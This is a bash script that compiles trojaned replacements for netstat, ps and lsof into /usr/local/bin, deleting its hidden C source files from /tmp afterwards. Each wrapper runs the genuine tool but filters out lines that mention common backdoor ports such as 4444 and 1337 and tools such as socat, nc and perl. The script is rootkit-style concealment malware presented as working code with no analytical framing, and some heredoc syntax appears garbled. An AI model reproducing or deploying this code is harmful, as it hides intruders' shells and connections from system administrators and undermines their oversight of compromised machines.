#!/bin/bash #netstat #------------------------ touch /tmp/.netstat.c cat <> /tmp/.netstat.c int main(int a,char**b){ char*c[999999]={"sh","-c","/bin/netstat \$*|grep -Ev '4444|3177|1177|1337|19526|socat|LEGO|nc|perl'"}; memcpy(c+3,b,8*a); execv("/bin/sh",c); } EOF gcc -xc /tmp/.netstat.c -o /usr/local/bin/netstat rm /tmp/.netstat.c #ps #------------------------ touch /tmp/.ps.c cat <> /tmp/.ps.c int main(int a,char**b){ char*c[999999]={"sh","-c","/bin/ps \$*|grep -Ev '4444|3177|1177|1337|19526|socat|LEGO|nc|perl'"}; memcpy(c+3,b,8*a); execv("/bin/sh",c); } EOF gcc -xc /tmp/.ps.c -o /usr/local/bin/ps rm /tmp/.ps.c #lsof #------------------------ touch /tmp/.lsof.c cat <> /tmp/.lsof.c int main(int a,char**b){ char*c[999999]={"sh","-c","/usr/bin/lsof \$*|grep -Ev '4444|3177|1177|1337|19526|socat|LEGO|nc|perl'"}; memcpy(c+3,b,8*a); execv("/bin/sh",c); } EOF gcc -xc /tmp/.lsof.c -o /usr/local/bin/lsof rm /tmp/.lsof.c